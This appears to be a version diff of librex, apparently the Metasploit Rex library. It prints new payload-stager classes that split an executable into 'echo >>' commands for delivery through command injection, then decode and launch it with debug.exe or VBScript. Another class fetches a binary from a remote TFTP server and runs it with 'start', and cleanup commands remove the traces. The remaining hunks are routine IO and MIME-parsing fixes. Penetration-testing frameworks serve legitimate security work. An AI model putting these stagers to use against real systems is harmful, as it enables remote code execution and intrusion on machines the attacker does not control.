librex 0.0.1 → 0.0.3
Sign up to get free protection for your applications and to get access to all the features.
- data/README +4 -0
- data/lib/rex/exploitation/cmdstager.rb +9 -133
- data/lib/rex/exploitation/cmdstager/base.rb +170 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +142 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +136 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +63 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +128 -0
- data/lib/rex/io/stream.rb +2 -2
- data/lib/rex/io/stream_server.rb +1 -1
- data/lib/rex/job_container.rb +7 -6
- data/lib/rex/mime/header.rb +12 -10
- data/lib/rex/mime/message.rb +57 -26
- data/lib/rex/ole/directory.rb +5 -4
- data/lib/rex/ole/samples/create_ole.rb +0 -0
- data/lib/rex/ole/samples/dir.rb +0 -0
- data/lib/rex/ole/samples/dump_stream.rb +1 -1
- data/lib/rex/ole/samples/ole_info.rb +0 -0
- data/lib/rex/parser/nexpose_xml.rb +131 -0
- data/lib/rex/parser/nmap_xml.rb +1 -0
- data/lib/rex/peparsey/pe.rb +21 -3
- data/lib/rex/post/meterpreter/client.rb +6 -1
- data/lib/rex/post/meterpreter/client_core.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +19 -18
- data/lib/rex/post/meterpreter/packet.rb +68 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +2 -2
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +5 -5
- data/lib/rex/post/meterpreter/ui/console.rb +2 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +5 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +2 -2
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -0
- data/lib/rex/proto/http/client.rb +8 -3
- data/lib/rex/proto/http/packet.rb +11 -1
- data/lib/rex/proto/smb/client.rb +1 -1
- data/lib/rex/proto/smb/utils.rb +72 -24
- data/lib/rex/proto/tftp.rb +3 -0
- data/lib/rex/proto/tftp/constants.rb +37 -0
- data/lib/rex/proto/tftp/server.rb +249 -0
- data/lib/rex/proto/tftp/server.rb.ut.rb +28 -0
- data/lib/rex/script/meterpreter.rb +6 -0
- data/lib/rex/services/local_relay.rb +2 -2
- data/lib/rex/socket/ip.rb +9 -8
- data/lib/rex/socket/range_walker.rb +43 -5
- data/lib/rex/socket/udp.rb +11 -4
- data/lib/rex/text.rb +42 -19
- data/lib/rex/ui/interactive.rb +24 -22
- data/lib/rex/ui/text/irb_shell.rb +4 -2
- data/lib/rex/ui/text/output/file.rb +6 -0
- data/lib/rex/ui/text/shell.rb +14 -18
- data/lib/rex/zip/samples/comment.rb +0 -0
- data/lib/rex/zip/samples/mkwar.rb +0 -0
- data/lib/rex/zip/samples/mkzip.rb +0 -0
- data/lib/rex/zip/samples/recursive.rb +0 -0
- metadata +20 -5
@@ -0,0 +1,136 @@
|
|
1
|
+
##
|
2
|
+
# $Id$
|
3
|
+
##
|
4
|
+
|
5
|
+
require 'rex/text'
|
6
|
+
require 'rex/arch'
|
7
|
+
require 'msf/core/framework'
|
8
|
+
|
9
|
+
module Rex
|
10
|
+
module Exploitation
|
11
|
+
|
12
|
+
###
|
13
|
+
#
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
16
|
+
# be written to disk and executed.
|
17
|
+
#
|
18
|
+
# This particular version uses debug.exe to write a small .NET binary. That binary will
|
19
|
+
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
20
|
+
#
|
21
|
+
# Requires: .NET, debug.exe
|
22
|
+
#
|
23
|
+
###
|
24
|
+
|
25
|
+
class CmdStagerDebugWrite < CmdStagerBase
|
26
|
+
|
27
|
+
def initialize(exe)
|
28
|
+
super
|
29
|
+
|
30
|
+
@var_bypass = Rex::Text.rand_text_alpha(8)
|
31
|
+
@var_payload = Rex::Text.rand_text_alpha(8)
|
32
|
+
@decoder = nil # filled in later
|
33
|
+
end
|
34
|
+
|
35
|
+
|
36
|
+
#
|
37
|
+
# Override just to set the extra byte count
|
38
|
+
#
|
39
|
+
def generate_cmds(opts)
|
40
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
41
|
+
@cmd_start = "echo "
|
42
|
+
@cmd_end = ">>#{@tempdir}#{@var_payload}"
|
43
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
44
|
+
opts.merge!({ :extra => xtra_len })
|
45
|
+
super
|
46
|
+
end
|
47
|
+
|
48
|
+
|
49
|
+
#
|
50
|
+
# Simple hex encoding...
|
51
|
+
#
|
52
|
+
def encode_payload(opts)
|
53
|
+
@exe.unpack('H*')[0]
|
54
|
+
end
|
55
|
+
|
56
|
+
|
57
|
+
#
|
58
|
+
# Combine the parts of the encoded file with the stuff that goes
|
59
|
+
# before / after it.
|
60
|
+
#
|
61
|
+
def parts_to_commands(parts, opts)
|
62
|
+
|
63
|
+
cmds = []
|
64
|
+
parts.each do |p|
|
65
|
+
cmd = ''
|
66
|
+
cmd << @cmd_start
|
67
|
+
cmd << p
|
68
|
+
cmd << @cmd_end
|
69
|
+
cmds << cmd
|
70
|
+
end
|
71
|
+
|
72
|
+
cmds
|
73
|
+
end
|
74
|
+
|
75
|
+
|
76
|
+
#
|
77
|
+
# Generate the commands that will decode the file we just created
|
78
|
+
#
|
79
|
+
def generate_cmds_decoder(opts)
|
80
|
+
|
81
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
82
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
83
|
+
|
84
|
+
# Read the decoder data file
|
85
|
+
f = File.new(@decoder, "rb")
|
86
|
+
decoder = f.read(f.stat.size)
|
87
|
+
f.close
|
88
|
+
|
89
|
+
# Replace variables
|
90
|
+
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")
|
91
|
+
|
92
|
+
# Split it apart by the lines
|
93
|
+
decoder.split("\n")
|
94
|
+
end
|
95
|
+
|
96
|
+
|
97
|
+
#
|
98
|
+
# We override compress commands just to stick in a few extra commands
|
99
|
+
# last second..
|
100
|
+
#
|
101
|
+
def compress_commands(cmds, opts)
|
102
|
+
# Convert the debug script to an executable...
|
103
|
+
cvt_cmd = ''
|
104
|
+
if (@tempdir != '')
|
105
|
+
cvt_cmd << "cd %TEMP% && "
|
106
|
+
end
|
107
|
+
cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
|
108
|
+
cmds << cvt_cmd
|
109
|
+
|
110
|
+
# Rename the resulting binary
|
111
|
+
cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"
|
112
|
+
|
113
|
+
# Converting the encoded payload...
|
114
|
+
cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"
|
115
|
+
|
116
|
+
# Make it all happen
|
117
|
+
cmds << "start #{@tempdir}#{@var_payload}.exe"
|
118
|
+
|
119
|
+
# Clean up after unless requested not to..
|
120
|
+
if (not opts[:nodelete])
|
121
|
+
cmds << "del #{@tempdir}#{@var_bypass}.exe"
|
122
|
+
cmds << "del #{@tempdir}#{@var_payload}"
|
123
|
+
# XXX: We won't be able to delete the payload while it is running..
|
124
|
+
end
|
125
|
+
|
126
|
+
super
|
127
|
+
end
|
128
|
+
|
129
|
+
# Windows uses & to concat strings
|
130
|
+
def cmd_concat_operator
|
131
|
+
" & "
|
132
|
+
end
|
133
|
+
|
134
|
+
end
|
135
|
+
end
|
136
|
+
end
|
@@ -0,0 +1,63 @@
|
|
1
|
+
##
|
2
|
+
# $Id: tftp.rb 9375 2010-05-26 22:39:56Z jduck $
|
3
|
+
##
|
4
|
+
|
5
|
+
require 'rex/text'
|
6
|
+
require 'rex/arch'
|
7
|
+
require 'msf/core/framework'
|
8
|
+
|
9
|
+
module Rex
|
10
|
+
module Exploitation
|
11
|
+
|
12
|
+
###
|
13
|
+
#
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
16
|
+
# be written to disk and executed.
|
17
|
+
#
|
18
|
+
# This particular version uses tftp.exe to download a binary from the specified
|
19
|
+
# server. The original file is preserve, not encoded at all, and so this version
|
20
|
+
# is significantly simpler than other methods.
|
21
|
+
#
|
22
|
+
# Requires: tftp.exe, outbound udp connectivity to a tftp server
|
23
|
+
#
|
24
|
+
# Written by Joshua J. Drake
|
25
|
+
#
|
26
|
+
###
|
27
|
+
|
28
|
+
class CmdStagerTFTP < CmdStagerBase
|
29
|
+
|
30
|
+
def initialize(exe)
|
31
|
+
super
|
32
|
+
|
33
|
+
@var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
|
34
|
+
end
|
35
|
+
|
36
|
+
|
37
|
+
#
|
38
|
+
# We override compress commands just to stick in a few extra commands
|
39
|
+
# last second..
|
40
|
+
#
|
41
|
+
def compress_commands(cmds, opts)
|
42
|
+
# Initiate the download
|
43
|
+
cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @var_payload_out}"
|
44
|
+
|
45
|
+
# Make it all happen
|
46
|
+
cmds << "start #{@tempdir + @var_payload_out}"
|
47
|
+
|
48
|
+
# Clean up after unless requested not to..
|
49
|
+
if (not opts[:nodelete])
|
50
|
+
# XXX: We won't be able to delete the payload while it is running..
|
51
|
+
end
|
52
|
+
|
53
|
+
super
|
54
|
+
end
|
55
|
+
|
56
|
+
# Windows uses & to concat strings
|
57
|
+
def cmd_concat_operator
|
58
|
+
" & "
|
59
|
+
end
|
60
|
+
|
61
|
+
end
|
62
|
+
end
|
63
|
+
end
|
@@ -0,0 +1,128 @@
|
|
1
|
+
##
|
2
|
+
# $Id$
|
3
|
+
##
|
4
|
+
|
5
|
+
require 'rex/text'
|
6
|
+
require 'rex/arch'
|
7
|
+
require 'msf/core/framework'
|
8
|
+
|
9
|
+
module Rex
|
10
|
+
module Exploitation
|
11
|
+
|
12
|
+
###
|
13
|
+
#
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
16
|
+
# be written to disk and executed.
|
17
|
+
#
|
18
|
+
# This particular version uses Windows Scripting (VBS) to base64 decode a file,
|
19
|
+
# created via echo >>, and decode it to the final binary.
|
20
|
+
#
|
21
|
+
# Requires: Windows Scripting
|
22
|
+
# Known Issue: errors with non-ascii-native systems
|
23
|
+
#
|
24
|
+
# Written by bannedit
|
25
|
+
#
|
26
|
+
###
|
27
|
+
|
28
|
+
class CmdStagerVBS < CmdStagerBase
|
29
|
+
|
30
|
+
def initialize(exe)
|
31
|
+
super
|
32
|
+
|
33
|
+
@var_decoder = Rex::Text.rand_text_alpha(5)
|
34
|
+
@var_encoded = Rex::Text.rand_text_alpha(5)
|
35
|
+
@var_decoded = Rex::Text.rand_text_alpha(5)
|
36
|
+
@decoder = nil # filled in later
|
37
|
+
end
|
38
|
+
|
39
|
+
|
40
|
+
#
|
41
|
+
# Override just to set the extra byte count
|
42
|
+
#
|
43
|
+
def generate_cmds(opts)
|
44
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
45
|
+
@cmd_start = "echo "
|
46
|
+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
47
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
48
|
+
opts.merge!({ :extra => xtra_len })
|
49
|
+
super
|
50
|
+
end
|
51
|
+
|
52
|
+
|
53
|
+
#
|
54
|
+
# Simple base64...
|
55
|
+
#
|
56
|
+
def encode_payload(opts)
|
57
|
+
Rex::Text.encode_base64(@exe)
|
58
|
+
end
|
59
|
+
|
60
|
+
|
61
|
+
#
|
62
|
+
# Combine the parts of the encoded file with the stuff that goes
|
63
|
+
# before / after it.
|
64
|
+
#
|
65
|
+
def parts_to_commands(parts, opts)
|
66
|
+
|
67
|
+
cmds = []
|
68
|
+
parts.each do |p|
|
69
|
+
cmd = ''
|
70
|
+
cmd << @cmd_start
|
71
|
+
cmd << p
|
72
|
+
cmd << @cmd_end
|
73
|
+
cmds << cmd
|
74
|
+
end
|
75
|
+
|
76
|
+
cmds
|
77
|
+
end
|
78
|
+
|
79
|
+
|
80
|
+
#
|
81
|
+
# Generate the commands that will decode the file we just created
|
82
|
+
#
|
83
|
+
def generate_cmds_decoder(opts)
|
84
|
+
|
85
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
86
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
87
|
+
|
88
|
+
# Read the decoder data file
|
89
|
+
f = File.new(@decoder, "rb")
|
90
|
+
decoder = f.read(f.stat.size)
|
91
|
+
f.close
|
92
|
+
|
93
|
+
# Replace variables
|
94
|
+
decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
|
95
|
+
decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
|
96
|
+
decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
|
97
|
+
|
98
|
+
# Split it apart by the lines
|
99
|
+
decoder.split("\n")
|
100
|
+
end
|
101
|
+
|
102
|
+
|
103
|
+
#
|
104
|
+
# We override compress commands just to stick in a few extra commands
|
105
|
+
# last second..
|
106
|
+
#
|
107
|
+
def compress_commands(cmds, opts)
|
108
|
+
# Make it all happen
|
109
|
+
cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
|
110
|
+
|
111
|
+
# Clean up after unless requested not to..
|
112
|
+
if (not opts[:nodelete])
|
113
|
+
cmds << "del #{@tempdir}#{@var_decoder}.vbs"
|
114
|
+
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
115
|
+
# NOTE: We won't be able to delete the exe while it's in use.
|
116
|
+
end
|
117
|
+
|
118
|
+
super
|
119
|
+
end
|
120
|
+
|
121
|
+
# Windows uses & to concat strings
|
122
|
+
def cmd_concat_operator
|
123
|
+
" & "
|
124
|
+
end
|
125
|
+
|
126
|
+
end
|
127
|
+
end
|
128
|
+
end
|
data/lib/rex/io/stream.rb
CHANGED
@@ -73,8 +73,8 @@ module Stream
|
|
73
73
|
#
|
74
74
|
def has_read_data?(timeout = nil)
|
75
75
|
begin
|
76
|
-
if RUBY_VERSION =~ /^1\.9\./
|
77
|
-
if ((rv = ::
|
76
|
+
if RUBY_VERSION =~ /^1\.9\./ and RUBY_PLATFORM !~ /cygwin|mingw32/
|
77
|
+
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
|
78
78
|
(rv[0]) and
|
79
79
|
(rv[0][0] == fd))
|
80
80
|
true
|
data/lib/rex/io/stream_server.rb
CHANGED
data/lib/rex/job_container.rb
CHANGED
@@ -30,8 +30,8 @@ class Job
|
|
30
30
|
if (async)
|
31
31
|
self.job_thread = Thread.new {
|
32
32
|
# Deschedule our thread momentarily
|
33
|
-
select(nil, nil, nil, 0.01)
|
34
|
-
|
33
|
+
::IO.select(nil, nil, nil, 0.01)
|
34
|
+
|
35
35
|
begin
|
36
36
|
run_proc.call(ctx)
|
37
37
|
ensure
|
@@ -57,7 +57,7 @@ class Job
|
|
57
57
|
self.job_thread.kill
|
58
58
|
self.job_thread = nil
|
59
59
|
end
|
60
|
-
|
60
|
+
|
61
61
|
clean_proc.call(ctx) if (clean_proc)
|
62
62
|
end
|
63
63
|
|
@@ -71,13 +71,13 @@ class Job
|
|
71
71
|
ret['name'] = self.name
|
72
72
|
if(self.ctx.class == Array)
|
73
73
|
con = self.ctx[0]
|
74
|
-
|
74
|
+
|
75
75
|
else
|
76
76
|
con = self.ctx
|
77
77
|
end
|
78
78
|
ret['datastore'] = con.datastore
|
79
79
|
if(con.kind_of? Msf::Exploit::Remote::HttpServer)
|
80
|
-
|
80
|
+
|
81
81
|
ret['datastore']['URIPATH'] = con.get_resource()
|
82
82
|
end
|
83
83
|
ret
|
@@ -92,7 +92,7 @@ class Job
|
|
92
92
|
#
|
93
93
|
attr_reader :jid
|
94
94
|
|
95
|
-
#
|
95
|
+
#
|
96
96
|
# The time at which this job was started
|
97
97
|
#
|
98
98
|
attr_reader :start_time #:nodoc:
|
@@ -200,3 +200,4 @@ protected
|
|
200
200
|
end
|
201
201
|
|
202
202
|
end
|
203
|
+
|
data/lib/rex/mime/header.rb
CHANGED
@@ -5,12 +5,12 @@ class Header
|
|
5
5
|
require 'rex/text'
|
6
6
|
|
7
7
|
attr_accessor :headers
|
8
|
-
|
8
|
+
|
9
9
|
def initialize(data='')
|
10
10
|
self.headers = []
|
11
11
|
parse(data)
|
12
12
|
end
|
13
|
-
|
13
|
+
|
14
14
|
def parse(data)
|
15
15
|
prev = nil
|
16
16
|
data.gsub("\r", '').split("\n").each do |line|
|
@@ -23,17 +23,18 @@ class Header
|
|
23
23
|
self.headers[prev][1] << line.strip
|
24
24
|
next
|
25
25
|
end
|
26
|
-
|
26
|
+
|
27
27
|
var,val = line.split(':')
|
28
|
-
|
28
|
+
next if not val
|
29
|
+
self.headers << [ var.to_s.strip, val.to_s.strip ]
|
29
30
|
prev = self.headers.length - 1
|
30
31
|
end
|
31
32
|
end
|
32
|
-
|
33
|
+
|
33
34
|
def to_s
|
34
35
|
self.headers.map{ |pair| "#{pair[0]}: #{pair[1]}\r\n" }.join
|
35
36
|
end
|
36
|
-
|
37
|
+
|
37
38
|
def find(idx)
|
38
39
|
if (idx.class == ::Fixnum)
|
39
40
|
return self.headers[idx]
|
@@ -46,7 +47,7 @@ class Header
|
|
46
47
|
end
|
47
48
|
nil
|
48
49
|
end
|
49
|
-
|
50
|
+
|
50
51
|
def set(var, val)
|
51
52
|
hdr = self.find(var) || self.add(var, '')
|
52
53
|
hdr[1] = val
|
@@ -56,7 +57,7 @@ class Header
|
|
56
57
|
self.headers << [var, val]
|
57
58
|
self.headers[-1]
|
58
59
|
end
|
59
|
-
|
60
|
+
|
60
61
|
def remove(idx)
|
61
62
|
if (idx.class == ::Fixnum)
|
62
63
|
self.headers.delete_at(idx)
|
@@ -67,9 +68,10 @@ class Header
|
|
67
68
|
self.headers.delete_at(i)
|
68
69
|
end
|
69
70
|
end
|
70
|
-
end
|
71
|
+
end
|
71
72
|
end
|
72
73
|
|
73
74
|
end
|
74
75
|
end
|
75
|
-
end
|
76
|
+
end
|
77
|
+
|